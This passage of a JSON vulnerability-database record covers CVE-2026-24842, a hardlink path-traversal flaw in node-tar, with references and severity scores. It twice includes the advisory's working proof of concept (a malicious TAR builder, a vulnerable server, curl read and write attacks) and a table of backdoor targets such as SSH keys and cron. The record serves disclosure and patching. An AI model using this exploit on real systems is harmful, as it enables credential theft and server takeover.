jboss enterprise application platform expansion pack"},{"vendor":"red hat","product":"red hat openshift ai (rhoai)"},{"vendor":"red hat","product":"red hat openshift container platform 4"},{"vendor":"red hat","product":"red hat openshift data foundation 4"},{"vendor":"red hat","product":"red hat openshift dev spaces"},{"vendor":"red hat","product":"red hat openshift dev spaces 3.27"},{"vendor":"red hat","product":"red hat process automation 7"},{"vendor":"red hat","product":"red hat single sign-on 7"},{"vendor":"red hat","product":"red hat trusted artifact signer 1.3"}],"references":[{"url":"https://github.com/isaacs/node-tar/security/advisories/GHSA-34x7-hfp2-rc4v","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web","article","report"]},{"url":"https://github.com/isaacs/node-tar/commit/f4a7aa9bc3d717c987fdf1480ff7a64e87ffdb46","tags":["x_refsource_MISC","Patch","fix","web","article","report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-24842","tags":["vdb-entry","x_refsource_REDHAT","report","advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2433645","tags":["issue-tracking","x_refsource_REDHAT","report"]},{"url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-24842.json","tags":["x_sadp-csaf-vex","web"]},{"url":"https://access.redhat.com/errata/RHSA-2026:33371","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:18480","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:18868","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:2900","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:6192","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:5447","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-24842","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-34x7-hfp2-rc4v"},{"url":"https://security.alpinelinux.org/vuln/CVE-2026-24842","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2025-13465","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2025-15284","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-23745","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-23950","tags":["report"]},{"url":"https://bugzilla.redhat.com/2425946","tags":["report"]},{"url":"https://bugzilla.redhat.com/2430538","tags":["report"]},{"url":"https://bugzilla.redhat.com/2431036","tags":["report"]},{"url":"https://bugzilla.redhat.com/2431740","tags":["report"]},{"url":"https://bugzilla.redhat.com/2433645","tags":["report"]},{"url":"https://errata.almalinux.org/10/ALSA-2026-18480.html","tags":["advisory"]},{"url":"https://errata.almalinux.org/9/ALSA-2026-18868.html","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/24xxx/CVE-2026-24842.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-24842","tags":["advisory"]},{"url":"https://github.com/isaacs/node-tar","tags":["package"]},{"url":"https://docs.redhat.com/en/documentation/red_hat_enterprise_linux/10/html/10.2_release_notes/index","tags":["article"]},{"url":"https://access.redhat.com/security/updates/classification/#important","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2425946","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2430538","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2431036","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2431740","tags":["report"]},{"url":"https://issues.redhat.com/browse/RHEL-110112","tags":["article"]},{"url":"https://issues.redhat.com/browse/RHEL-121612","tags":["article"]},{"url":"https://issues.redhat.com/browse/RHEL-140108","tags":["article"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_18480.json","tags":["advisory"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2025-13465","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-13465","tags":["advisory"]},{"url":"https://github.com/lodash/lodash/security/advisories/GHSA-xxjr-mmjv-4gpg","tags":["article"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2025-15284","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-15284","tags":["advisory"]},{"url":"https://github.com/ljharb/qs/commit/3086902ecf7f088d0d1803887643ac6c03d415b9","tags":["article"]},{"url":"https://github.com/ljharb/qs/security/advisories/GHSA-6rw7-vpxm-498p","tags":["article"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-23745","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-23745","tags":["advisory"]},{"url":"https://github.com/isaacs/node-tar/commit/340eb285b6d986e91969a1170d7fe9b0face405e","tags":["article"]},{"url":"https://github.com/isaacs/node-tar/security/advisories/GHSA-8qq5-rm4j-mr97","tags":["article"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-23950","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-23950","tags":["advisory"]},{"url":"https://github.com/isaacs/node-tar/commit/3b1abfae650056edfabcbe0a0df5954d390521e6","tags":["article"]},{"url":"https://github.com/isaacs/node-tar/security/advisories/GHSA-r6q2-hw4h-h46w","tags":["article"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-24842","tags":["advisory","report"]},{"url":"https://docs.redhat.com/en/documentation/red_hat_enterprise_linux/9/html/9.8_release_notes/index","tags":["article"]},{"url":"https://issues.redhat.com/browse/RHEL-127046","tags":["article"]},{"url":"https://issues.redhat.com/browse/RHEL-140109","tags":["article"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_18868.json","tags":["advisory"]},{"url":"https://docs.redhat.com/en/documentation/red_hat_jboss_enterprise_application_platform/7.3","tags":["article"]},{"url":"https://docs.redhat.com/en/documentation/red_hat_jboss_enterprise_application_platform/7.3/html-single/installation_guide/index","tags":["article"]},{"url":"https://docs.redhat.com/en/documentation/red_hat_jboss_enterprise_application_platform/7.3/html/7.3.0_release_notes/index","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2339095","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2392306","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2408784","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2423194","tags":["report"]},{"url":"https://issues.redhat.com/browse/JBEAP-31703","tags":["article"]},{"url":"https://issues.redhat.com/browse/JBEAP-33004","tags":["article"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_33371.json","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2024-29371","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2024-29371","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-29371","tags":["advisory"]},{"url":"https://bitbucket.org/b_c/jose4j/issues/220/vuln-zip-bomb-attack","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2025-9784","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2025-9784","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-9784","tags":["advisory"]},{"url":"https://github.com/undertow-io/undertow/pull/1778","tags":["article"]},{"url":"https://github.com/undertow-io/undertow/releases/tag/2.2.38.Final","tags":["article"]},{"url":"https://issues.redhat.com/browse/UNDERTOW-2598","tags":["article"]},{"url":"https://kb.cert.org/vuls/id/767506","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2025-12543","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2025-12543","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-12543","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2025-23184","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2025-23184","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-23184","tags":["advisory"]},{"url":"https://lists.apache.org/thread/lfs8l63rnctnj2skfrxyys7v8fgnt122","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2025-23368","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2337621","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2025-23368","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-23368","tags":["advisory"]},{"url":"https://www.gruppotim.it/it/footer/red-team.html","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2025-66412","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2418155","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2025-66412","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-66412","tags":["advisory"]},{"url":"https://github.com/angular/angular/commit/1c6b0704fb63d051fab8acff84d076abfbc4893a","tags":["article"]},{"url":"https://github.com/angular/angular/security/advisories/GHSA-v4hv-rgfq-gp49","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2025-69873","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2439070","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2025-69873","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-69873","tags":["advisory"]},{"url":"https://github.com/EthanKim88/ethan-cve-disclosures/blob/main/CVE-2025-69873-ajv-ReDoS.md","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-1002","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2430180","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-1002","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-1002","tags":["advisory"]},{"url":"https://github.com/eclipse-vertx/vert.x/pull/5895","tags":["article"]},{"url":"https://errata.rockylinux.org/RLSA-2026:18480","tags":["advisory"]},{"url":"https://errata.rockylinux.org/RLSA-2026:18868","tags":["advisory"]},{"url":"https://ubuntu.com/security/CVE-2026-24842","tags":["report"]},{"url":"","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2026-24842","tags":["web"]}],"sources":{"cve":[{"id":"CVE-2026-24842","title":"node-tar Vulnerable to Arbitrary File Creation/Overwrite via Hardlink Path Traversal","description":"node-tar,a Tar for Node.js, contains a vulnerability in versions prior to 7.5.7 where the security check for hardlink entries uses different path resolution semantics than the actual hardlink creation logic. This mismatch allows an attacker to craft a malicious TAR archive that bypasses path traversal protections and creates hardlinks to arbitrary files outside the extraction directory. Version 7.5.7 contains a fix for the issue.","status":"published","published":"2026-01-28T00:20:13.261Z","modified":"2026-09-07T12:05:07.837Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N","level":"high","assessor":"cna"},{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N","level":"high","assessor":"adp"}],"cwes":["CWE-22","CWE-59","CWE-59"],"updated_at":"2026-11-02T14:19:50.575061Z"}],"euvd":[{"id":"EUVD-2026-4909","description":"node-tar,a Tar for Node.js, contains a vulnerability in versions prior to 7.5.7 where the security check for hardlink entries uses different path resolution semantics than the actual hardlink creation logic. This mismatch allows an attacker to craft a malicious TAR archive that bypasses path traversal protections and creates hardlinks to arbitrary files outside the extraction directory. Version 7.5.7 contains a fix for the issue.","status":"published","published":"2026-01-28T00:20:13Z","modified":"2026-09-07T12:05:07Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N","level":"high"}],"updated_at":"2026-11-02T17:28:30.668645Z"}],"ghsa":[{"id":"GHSA-34x7-hfp2-rc4v","title":"node-tar Vulnerable to Arbitrary File Creation/Overwrite via Hardlink Path Traversal","description":"### Summary\nnode-tar contains a vulnerability where the security check for hardlink entries uses different path resolution semantics than the actual hardlink creation logic. This mismatch allows an attacker to craft a malicious TAR archive that bypasses path traversal protections and creates hardlinks to arbitrary files outside the extraction directory.\n\n### Details\nThe vulnerability exists in `lib/unpack.js`. When extracting a hardlink, two functions handle the linkpath differently:\n\n**Security check in `[STRIPABSOLUTEPATH]`:**\n```javascript\nconst entryDir = path.posix.dirname(entry.path);\nconst resolved = path.posix.normalize(path.posix.join(entryDir, linkpath));\nif (resolved.startsWith('../')) { /* block */ }\n```\n\n**Hardlink creation in `[HARDLINK]`:**\n```javascript\nconst linkpath = path.resolve(this.cwd, entry.linkpath);\nfs.linkSync(linkpath, dest);\n```\n\n**Example:** An application extracts a TAR using `tar.extract({ cwd: '/var/app/uploads/' })`. The TAR contains entry `a/b/c/d/x` as a hardlink to `../../../../etc/passwd`.\n\n- **Security check** resolves the linkpath relative to the entry's parent directory: `a/b/c/d/ + ../../../../etc/passwd` = `etc/passwd`. No `../` prefix, so it **passes**.\n\n- **Hardlink creation** resolves the linkpath relative to the extraction directory (`this.cwd`): `/var/app/uploads/ + ../../../../etc/passwd` = `/etc/passwd`. This **escapes** to the system's `/etc/passwd`.\n\nThe security check and hardlink creation use different starting points (entry directory `a/b/c/d/` vs extraction directory `/var/app/uploads/`), so the same linkpath can pass validation but still escape. The deeper the entry path, the more levels an attacker can escape.\n\n### PoC\n#### Setup\n\nCreate a new directory with these files:\n\n```\npoc/\n├── package.json\n├── secret.txt          ← sensitive file (target)\n├── server.js           ← vulnerable server\n├── create-malicious-tar.js\n├── verify.js\n└── uploads/            ← created automatically by server.js\n    └── (extracted files go here)\n```\n\n**package.json**\n```json\n{ \"dependencies\": { \"tar\": \"^7.5.0\" } }\n```\n\n**secret.txt** (sensitive file outside uploads/)\n```\nDATABASE_PASSWORD=supersecret123\n```\n\n**server.js** (vulnerable file upload server)\n```javascript\nconst http = require('http');\nconst fs = require('fs');\nconst path = require('path');\nconst tar = require('tar');\n\nconst PORT = 3000;\nconst UPLOAD_DIR = path.join(__dirname, 'uploads');\nfs.mkdirSync(UPLOAD_DIR, { recursive: true });\n\nhttp.createServer((req, res) =\u003e {\n  if (req.method === 'POST' \u0026\u0026 req.url === '/upload') {\n    const chunks = [];\n    req.on('data', c =\u003e chunks.push(c));\n    req.on('end', async () =\u003e {\n      fs.writeFileSync(path.join(UPLOAD_DIR, 'upload.tar'), Buffer.concat(chunks));\n      await tar.extract({ file: path.join(UPLOAD_DIR, 'upload.tar'), cwd: UPLOAD_DIR });\n      res.end('Extracted\\n');\n    });\n  } else if (req.method === 'GET' \u0026\u0026 req.url === '/read') {\n    // Simulates app serving extracted files (e.g., file download, static assets)\n    const targetPath = path.join(UPLOAD_DIR, 'd', 'x');\n    if (fs.existsSync(targetPath)) {\n      res.end(fs.readFileSync(targetPath));\n    } else {\n      res.end('File not found\\n');\n    }\n  } else if (req.method === 'POST' \u0026\u0026 req.url === '/write') {\n    // Simulates app writing to extracted file (e.g., config update, log append)\n    const chunks = [];\n    req.on('data', c =\u003e chunks.push(c));\n    req.on('end', () =\u003e {\n      const targetPath = path.join(UPLOAD_DIR, 'd', 'x');\n      if (fs.existsSync(targetPath)) {\n        fs.writeFileSync(targetPath, Buffer.concat(chunks));\n        res.end('Written\\n');\n      } else {\n        res.end('File not found\\n');\n      }\n    });\n  } else {\n    res.end('POST /upload, GET /read, or POST /write\\n');\n  }\n}).listen(PORT, () =\u003e console.log(`http://localhost:${PORT}`));\n```\n\n**create-malicious-tar.js** (attacker creates exploit TAR)\n```javascript\nconst fs = require('fs');\n\nfunction tarHeader(name, type, linkpath = '', size = 0) {\n  const b = Buffer.alloc(512, 0);\n  b.write(name, 0); b.write('0000644', 100); b.write('0000000', 108);\n  b.write('0000000', 116); b.write(size.toString(8).padStart(11, '0'), 124);\n  b.write(Math.floor(Date.now()/1000).toString(8).padStart(11, '0'), 136);\n  b.write('        ', 148);\n  b[156] = type === 'dir' ? 53 : type === 'link' ? 49 : 48;\n  if (linkpath) b.write(linkpath, 157);\n  b.write('ustar\\x00', 257); b.write('00', 263);\n  let sum = 0; for (let i = 0; i \u003c 512; i++) sum += b[i];\n  b.write(sum.toString(8).padStart(6, '0') + '\\x00 ', 148);\n  return b;\n}\n\n// Hardlink escapes to parent directory's secret.txt\nfs.writeFileSync('malicious.tar', Buffer.concat([\n  tarHeader('d/', 'dir'),\n  tarHeader('d/x', 'link', '../secret.txt'),\n  Buffer.alloc(1024)\n]));\nconsole.log('Created malicious.tar');\n```\n\n#### Run\n\n```bash\n# Setup\nnpm install\necho \"DATABASE_PASSWORD=supersecret123\" \u003e secret.txt\n\n# Terminal 1: Start server\nnode server.js\n\n# Terminal 2: Execute attack\nnode create-malicious-tar.js\ncurl -X POST --data-binary @malicious.tar http://localhost:3000/upload\n\n# READ ATTACK: Steal secret.txt content via the hardlink\ncurl http://localhost:3000/read\n# Returns: DATABASE_PASSWORD=supersecret123\n\n# WRITE ATTACK: Overwrite secret.txt through the hardlink\ncurl -X POST -d \"PWNED\" http://localhost:3000/write\n\n# Confirm secret.txt was modified\ncat secret.txt\n```\n### Impact\n\nAn attacker can craft a malicious TAR archive that, when extracted by an application using node-tar, creates hardlinks that escape the extraction directory. This enables:\n\n**Immediate (Read Attack):** If the application serves extracted files, attacker can read any file readable by the process.\n\n**Conditional (Write Attack):** If the application later writes to the hardlink path, it modifies the target file outside the extraction directory.\n\n### Remote Code Execution / Server Takeover\n\n| Attack Vector | Target File | Result |\n|--------------|-------------|--------|\n| SSH Access | `~/.ssh/authorized_keys` | Direct shell access to server |\n| Cron Backdoor | `/etc/cron.d/*`, `~/.crontab` | Persistent code execution |\n| Shell RC Files | `~/.bashrc`, `~/.profile` | Code execution on user login |\n| Web App Backdoor | Application `.js`, `.php`, `.py` files | Immediate RCE via web requests |\n| Systemd Services | `/etc/systemd/system/*.service` | Code execution on service restart |\n| User Creation | `/etc/passwd` (if running as root) | Add new privileged user |\n\n## Data Exfiltration \u0026 Corruption\n\n1. **Overwrite arbitrary files** via hardlink escape + subsequent write operations\n2. **Read sensitive files** by creating hardlinks that point outside extraction directory\n3. **Corrupt databases** and application state\n4. **Steal credentials** from config files, `.env`, secrets","status":"published","published":"2026-01-28T16:35:31Z","modified":"2026-01-28T16:35:31Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N","level":"high"}],"cwes":["CWE-22","CWE-59"],"updated_at":"2026-11-02T14:39:20.563096Z"}],"nvd":[{"id":"CVE-2026-24842","description":"node-tar,a Tar for Node.js, contains a vulnerability in versions prior to 7.5.7 where the security check for hardlink entries uses different path resolution semantics than the actual hardlink creation logic. This mismatch allows an attacker to craft a malicious TAR archive that bypasses path traversal protections and creates hardlinks to arbitrary files outside the extraction directory. Version 7.5.7 contains a fix for the issue.","status":"published","published":"2026-01-28T01:16:14.947Z","modified":"2026-09-07T13:18:17.38Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N","level":"high","assessor":"secondary"},{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N","level":"high","assessor":"secondary"}],"cwes":["CWE-22","CWE-59"],"updated_at":"2026-11-02T14:12:04.769088Z"}],"osv":[{"id":"ALPINE-CVE-2026-24842","description":"node-tar,a Tar for Node.js, contains a vulnerability in versions prior to 7.5.7 where the security check for hardlink entries uses different path resolution semantics than the actual hardlink creation logic. This mismatch allows an attacker to craft a malicious TAR archive that bypasses path traversal protections and creates hardlinks to arbitrary files outside the extraction directory. Version 7.5.7 contains a fix for the issue.","status":"published","published":"2026-01-28T01:16:14.947Z","modified":"2026-11-03T06:32:53.27541661Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N","level":"high"}],"updated_at":"2026-11-03T07:16:26.770911Z"},{"id":"CVE-2026-24842","title":"node-tar Vulnerable to Arbitrary File Creation/Overwrite via Hardlink Path Traversal","description":"node-tar,a Tar for Node.js, contains a vulnerability in versions prior to 7.5.7 where the security check for hardlink entries uses different path resolution semantics than the actual hardlink creation logic. This mismatch allows an attacker to craft a malicious TAR archive that bypasses path traversal protections and creates hardlinks to arbitrary files outside the extraction directory. Version 7.5.7 contains a fix for the issue.","status":"published","published":"2026-01-28T00:20:13.261Z","modified":"2026-10-28T02:30:56.391353373Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N","level":"high"}],"cwes":["CWE-22","CWE-59"],"updated_at":"2026-11-02T15:44:59.438965Z"},{"id":"DEBIAN-CVE-2026-24842","description":"node-tar,a Tar for Node.js, contains a vulnerability in versions prior to 7.5.7 where the security check for hardlink entries uses different path resolution semantics than the actual hardlink creation logic. This mismatch allows an attacker to craft a malicious TAR archive that bypasses path traversal protections and creates hardlinks to arbitrary files outside the extraction directory. Version 7.5.7 contains a fix for the issue.","status":"published","published":"2026-01-28T01:16:14.947Z","modified":"2026-10-01T03:03:08.663586542Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N","level":"high"}],"updated_at":"2026-11-02T15:45:53.877573Z"},{"id":"GHSA-34x7-hfp2-rc4v","title":"node-tar Vulnerable to Arbitrary File Creation/Overwrite via Hardlink Path Traversal","description":"### Summary\nnode-tar contains a vulnerability where the security check for hardlink entries uses different path resolution semantics than the actual hardlink creation logic. This mismatch allows an attacker to craft a malicious TAR archive that bypasses path traversal protections and creates hardlinks to arbitrary files outside the extraction directory.\n\n### Details\nThe vulnerability exists in `lib/unpack.js`. When extracting a hardlink, two functions handle the linkpath differently:\n\n**Security check in `[STRIPABSOLUTEPATH]`:**\n```javascript\nconst entryDir = path.posix.dirname(entry.path);\nconst resolved = path.posix.normalize(path.posix.join(entryDir, linkpath));\nif (resolved.startsWith('../')) { /* block */ }\n```\n\n**Hardlink creation in `[HARDLINK]`:**\n```javascript\nconst linkpath = path.resolve(this.cwd, entry.linkpath);\nfs.linkSync(linkpath, dest);\n```\n\n**Example:** An application extracts a TAR using `tar.extract({ cwd: '/var/app/uploads/' })`. The TAR contains entry `a/b/c/d/x` as a hardlink to `../../../../etc/passwd`.\n\n- **Security check** resolves the linkpath relative to the entry's parent directory: `a/b/c/d/ + ../../../../etc/passwd` = `etc/passwd`. No `../` prefix, so it **passes**.\n\n- **Hardlink creation** resolves the linkpath relative to the extraction directory (`this.cwd`): `/var/app/uploads/ + ../../../../etc/passwd` = `/etc/passwd`. This **escapes** to the system's `/etc/passwd`.\n\nThe security check and hardlink creation use different starting points (entry directory `a/b/c/d/` vs extraction directory `/var/app/uploads/`), so the same linkpath can pass validation but still escape. The deeper the entry path, the more levels an attacker can escape.\n\n### PoC\n#### Setup\n\nCreate a new directory with these files:\n\n```\npoc/\n├── package.json\n├── secret.txt          ← sensitive file (target)\n├── server.js           ← vulnerable server\n├── create-malicious-tar.js\n├── verify.js\n└── uploads/            ← created automatically by server.js\n    └── (extracted files go here)\n```\n\n**package.json**\n```json\n{ \"dependencies\": { \"tar\": \"^7.5.0\" } }\n```\n\n**secret.txt** (sensitive file outside uploads/)\n```\nDATABASE_PASSWORD=supersecret123\n```\n\n**server.js** (vulnerable file upload server)\n```javascript\nconst http = require('http');\nconst fs = require('fs');\nconst path = require('path');\nconst tar = require('tar');\n\nconst PORT = 3000;\nconst UPLOAD_DIR = path.join(__dirname, 'uploads');\nfs.mkdirSync(UPLOAD_DIR, { recursive: true });\n\nhttp.createServer((req, res) =\u003e {\n  if (req.method === 'POST' \u0026\u0026 req.url === '/upload') {\n    const chunks = [];\n    req.on('data', c =\u003e chunks.push(c));\n    req.on('end', async () =\u003e {\n      fs.writeFileSync(path.join(UPLOAD_DIR, 'upload.tar'), Buffer.concat(chunks));\n      await tar.extract({ file: path.join(UPLOAD_DIR, 'upload.tar'), cwd: UPLOAD_DIR });\n      res.end('Extracted\\n');\n    });\n  } else if (req.method === 'GET' \u0026\u0026 req.url === '/read') {\n    // Simulates app serving extracted files (e.g., file download, static assets)\n    const targetPath = path.join(UPLOAD_DIR, 'd', 'x');\n    if (fs.existsSync(targetPath)) {\n      res.end(fs.readFileSync(targetPath));\n    } else {\n      res.end('File not found\\n');\n    }\n  } else if (req.method === 'POST' \u0026\u0026 req.url === '/write') {\n    // Simulates app writing to extracted file (e.g., config update, log append)\n    const chunks = [];\n    req.on('data', c =\u003e chunks.push(c));\n    req.on('end', () =\u003e {\n      const targetPath = path.join(UPLOAD_DIR, 'd', 'x');\n      if (fs.existsSync(targetPath)) {\n        fs.writeFileSync(targetPath, Buffer.concat(chunks));\n        res.end('Written\\n');\n      } else {\n        res.end('File not found\\n');\n      }\n    });\n  } else {\n    res.end('POST /upload, GET /read, or POST /write\\n');\n  }\n}).listen(PORT, () =\u003e console.log(`http://localhost:${PORT}`));\n```\n\n**create-malicious-tar.js** (attacker creates exploit TAR)\n```javascript\nconst fs = require('fs');\n\nfunction tarHeader(name, type, linkpath = '', size = 0) {\n  const b = Buffer.alloc(512, 0);\n  b.write(name, 0); b.write('0000644', 100); b.write('0000000', 108);\n  b.write('0000000', 116); b.write(size.toString(8).padStart(11, '0'), 124);\n  b.write(Math.floor(Date.now()/1000).toString(8).padStart(11, '0'), 136);\n  b.write('        ', 148);\n  b[156] = type === 'dir' ? 53 : type === 'link' ? 49 : 48;\n  if (linkpath) b.write(linkpath, 157);\n  b.write('ustar\\x00', 257); b.write('00', 263);\n  let sum = 0; for (let i = 0; i \u003c 512; i++) sum += b[i];\n  b.write(sum.toString(8).padStart(6, '0') + '\\x00 ', 148);\n  return b;\n}\n\n// Hardlink escapes to parent directory's secret.txt\nfs.writeFileSync('malicious.tar', Buffer.concat([\n  tarHeader('d/', 'dir'),\n  tarHeader('d/x', 'link', '../secret.txt'),\n  Buffer.alloc(1024)\n]));\nconsole.log('Created malicious.tar');\n```\n\n#### Run\n\n```bash\n# Setup\nnpm install\necho \"DATABASE_PASSWORD=supersecret123\" \u003e secret.txt\n\n# Terminal 1: Start server\nnode server.js\n\n# Terminal 2: Execute attack\nnode create-malicious-tar.js\ncurl -X POST --data-binary @malicious.tar http://localhost:3000/upload\n\n# READ ATTACK: Steal secret.txt content via the hardlink\ncurl http://localhost:3000/read\n# Returns: DATABASE_PASSWORD=supersecret123\n\n# WRITE ATTACK: Overwrite secret.txt through the hardlink\ncurl -X POST -d \"PWNED\" http://localhost:3000/write\n\n# Confirm secret.txt was modified\ncat secret.txt\n```\n### Impact\n\nAn attacker can craft a malicious TAR archive that, when extracted by an application using node-tar, creates hardlinks that escape the extraction directory. This enables:\n\n**Immediate (Read Attack):** If the application serves extracted files, attacker can read any file readable by the process.\n\n**Conditional (Write Attack):** If the application later writes to the hardlink path, it modifies the target file outside the extraction directory.\n\n### Remote Code Execution / Server Takeover\n\n| Attack Vector | Target File | Result |\n|--------------|-------------|--------|\n| SSH Access | `~/.ssh/authorized_keys` | Direct shell access to server |\n| Cron Backdoor | `/etc/cron.d/*`, `~/.crontab` | Persistent code execution |\n| Shell RC Files | `~/.bashrc`, `~/.profile` | Code execution on user login |\n| Web App Backdoor | Application `.js`, `.php`, `.py` files | Immediate RCE via web requests |\n| Systemd Services | `/etc/systemd/system/*.service` | Code execution on service restart |\n| User Creation | `/etc/passwd` (if running as root) | Add new privileged user |\n\n## Data Exfiltration \u0026 Corruption\n\n1. **Overwrite arbitrary files** via hardlink escape + subsequent write operations\n2. **Read sensitive files** by creating hardlinks that point outside extraction directory\n3. **Corrupt databases** and application state\n4. **Steal credentials** from config files, `.env`, secrets","status":"published","published":"2026-01-28T16:35:31Z","modified":"2026-09-10T03:50:32.616577975Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N","level":"high"}],"cwes":["CWE-22","CWE-59"],"updated_at":"2026-11-02T15:46:35.050232Z"},{"id":"RHSA-2026:18480","title":"Red Hat Security Advisory: linux-sgx security update","status":"published","published":"2026-05-19T10:06:40Z","modified":"2026-10-16T10:12:07Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L","level":"high"}],"updated_at":"2026-11-02T15:53:18.520917Z"},{"id":"RHSA-2026:18868","title":"Red Hat Security Advisory: linux-sgx security update","status":"published","published":"2026-05-20T10:09:29Z","modified":"2026-10-16T10:12:09Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L","level":"high"}],"updated_at":"2026-11-02T15:53:18.520917Z"},{"id":"RHSA-2026:33371","title":"Red Hat Security Advisory: Red Hat JBoss Enterprise Application Platform 7.3.18 security update","status":"published","published":"2026-06-30T10:49:44Z","modified":"2026-10-20T10:07:22Z","cvss":[{"version":"3.1","score":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L","level":"critical"}],"updated_at":"2026-11-02T15:53:19.963895Z"},{"id":"RLSA-2026:18480","title":"Important: linux-sgx security update","description":"The Intel SGX SDK is a collection of APIs, libraries, documentations and tools that allow software developers to create and 